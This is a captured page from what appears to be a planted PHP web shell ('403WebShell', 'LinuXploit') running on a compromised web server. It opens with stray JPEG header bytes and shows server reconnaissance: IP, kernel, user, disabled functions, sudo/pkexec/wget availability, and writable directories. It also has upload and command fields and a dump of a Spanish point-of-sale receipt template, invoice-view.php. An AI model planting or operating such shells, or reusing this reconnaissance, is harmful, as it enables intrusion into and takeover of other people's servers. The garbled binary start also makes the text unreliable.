����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.148.206.183
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/app6/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/app6/core/app/view/invoice-view.php
<?php
//inicio de if principal
if ( isset($_POST["id_sales"]) || isset($_GET["id"]) ){
		
		//VALIDAMOS COMO SE RECIBE EL ID DE LA VENTA
		if(isset($_GET["id"]))
		{
			 $sale_id= $_GET["sale_id"];
		}else{
			$sale_id= $_POST["id_sales"];
		}
	
		   //obtenemos el sell_id desde sale_id
		$sell = SellData::getBycSell($sale_id);
		$sell_id =  $sell->id;
		
		$sell = SellData::getById($_GET["id"]);
		$operations = OperationData::getAllProductsBySellId($_GET["sale_id"]);
		$total = 0;

		$logo = ConfigurationData::getByPreffix("report_image")->val;//
		$ruta_logo = "storage/configuration/".$logo."";

		$settingsRFC = ConfigurationData::getByIdRFC();
		$settings2 = ConfigurationData::getById1();
		$settingsEmisor = ConfigurationData::getByIdEmisor();
		$settingsCalle = ConfigurationData::getByIdCalle();
		$settingsInt = ConfigurationData::getByIdInt();
		$settingsExt = ConfigurationData::getByIdExt();
		$settingsColonia = ConfigurationData::getByIdColonia();
		$settingsCity = ConfigurationData::getByIdCity();
		$settingsCP = ConfigurationData::getByIdCp();
		
		
}

foreach($sell as $sell2){

	if($sell2->person_id!=""){
	$client = PersonData::getById($sell2->person_id);
			if($client->id_cust!=null){
			$client->name." ".$client->country;
			} 
		$_SESSION['ar_cliente'] =$client;
	}
?>
            <!-- page title area end -->
 <div class="main-content-inner">
                <div class="row">
                    <div class="col-lg-12 mt-5">
                        <div class="card">
                            <div class="card-body">
                                <div class="invoice-area">
                                    <div class="invoice-head">
                                        <div class="row">
                                            <div class="iv-left col-6">
												<img src="storage/configuration/oie_oie_trim_image.png" width="75" height="75">
                                                <span>Ticket</span>
                                            </div>
                                            <div class="iv-right col-6 text-md-right">
                                                <span><?php echo $sale_id;?></span>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row align-items-center">
                                        <div class="col-md-6">
                                            <div class="invoice-address">
                                                <h3><?php echo $settings2->val;?></h3>
                                               
                                                <p><?php echo $settingsCalle->val."  ".$settingsExt->val." ".$settingsColonia->val;?></p>
                                               
                                            </div>
                                        </div>
                                        <div class="col-md-6 text-md-right">
                                            <ul class="invoice-date">
                                                <li>Fecha: <?php echo $sell2->created_at ; ?></li>
                                                <li>Cajero :<?php echo UserData::getById($sell2->id_seller)->name; ?></li>
                                            </ul>
                                        </div>
                                    </div>
                                    <div class="invoice-table table-responsive mt-5">
                                        <table class="table table-bordered table-hover text-right">
                                            <thead>
                                                <tr class="text-capitalize">
                                                    <th class="text-center" style="width: 5%;">id</th>
                                                    <th class="text-left" style="width: 45%; min-width: 130px;">Descripcion</th>
                                                    <th>Cant</th>
                                                    <th style="min-width: 100px">Precio Uni</th>
                                                    <th>total</th>
                                                </tr>
                                            </thead>
                                            <tbody>
											<?php
											 foreach($operations as $operation){
												  $product  = $operation->getProduct();
												  $total+=$operation->qty*$operation->price;
											?>
                                                <tr>
													<td class="text-center">
														<?php echo $operation->barcode ; ?> 
													</td>
													<td class="text-left">
														<?php echo $product->item_name ;?>
													</td>
                                                    <td>
														<?php echo $operation->qty ; ?> 
													</td>
													<td >
														<?php echo number_format($operation->price,2) ; ?> 
													</td>
													<td>
														<?php echo number_format($operation->price*$operation->qty) ; ?> 
													</td>
													
                                                </tr>
                                                <?php
											 }
											?>
                                            </tbody>
                                            <tfoot>
                                                <tr >
                                                    <td colspan="3">Gran total:</td>
                                                    <td colspan="3">$ <?php echo number_format($sell2->total,2,'.',','); ?></td>
                                                </tr>
												
												<table class="table table-bordered table-hover text-right">
												<tr>
													<?php 
													//FORMAS DE PAGO
												//FORMAS DE PAGO
													$MontoPago2 = abs($sell2->total-$sell2->cash);
																						//obtenermos los valores de forma 1 y forma 2
													$t_sale = SellData::getBySale($sell2->sale_id);
													$NameP1 = FData::getById($t_sale->f_pago1);
													$NameP2 = FData::getById($t_sale->f_pago2);
													
													if(isset($_GET["money"])): ?>
														<td>Importe Recibido(<?php echo $NameP1->name;?>):</td>
													   <td>$ <?php echo number_format($_GET["money"],2,'.',','); ?></td>
													<?php else: ?>
														<td>Importe(<?php echo $NameP1->name;?>):</td>
													   <td>$ <?php echo number_format($sell2->total,2,'.',','); ?></td>	
													<?php endif; ?> 
												</tr>
								  
								  
												  <tr>
													<td>Descuento(%):</td>
													<td> <?php echo number_format($sell2->discount,2,'.',','); ?> %</td>
												  </tr>
								  
								  
											<?php if(isset($_GET["money1"])): ?>
												
												
												<?php  if(($cambiarprecio_val != "SI") || ($cambiarprecio_val != "si")): ?>
													<tr>
													<td>Cambio Z:</td>
													<td>$ <?php echo number_format($_GET["money"]-$sell->total+$sell->discount,2,'.',','); ?></td>
													</tr>
												<?php else: ?>
												 
												 <?php if ($_GET["money1"]>0): 
												 $total=$total-$sell->discount;
												 $cambio=$_GET["money"]-$total;
												 ?>
												 <tr>
												 <td>Cambio X:</td>
												 <td>$ <?php echo number_format($cambio,2,'.',','); ?></td>
												 </tr>
												 <?php endif; ?>
												<?php endif; ?>
											<?php else: ?>	
												<?php 
												$cambio=$sell2->total-$sell2->cash;
												?>
												<tr>
												<td>Cambio: Y</td>
												<td>$ <?php echo number_format($cambio,2,'.',','); ?></td>
												</tr>
											
											
											<?php endif; ?> 
								  
											</table>
                                            </tfoot>
                                        </table>
                                    </div>
									
									<div class="row ">
										<div class="iv-right col-6">
											<div class="invoice-table table-responsive mt-5">
														
											</div>
										</div>
									</div>
                                </div>
                    
					 <div class="invoice-buttons text-right">
                                    <a href="#" class="invoice-btn">Imprimir Ticket</a>
                                    <a href="#" class="invoice-btn">enviar @</a>
                                </div>
                </div>
            </div>
        </div>
		
<?php
	}	
	?>	
        <!-- main content area end -->
      

Youez - 2016 - github.com/yon3zu
LinuXploit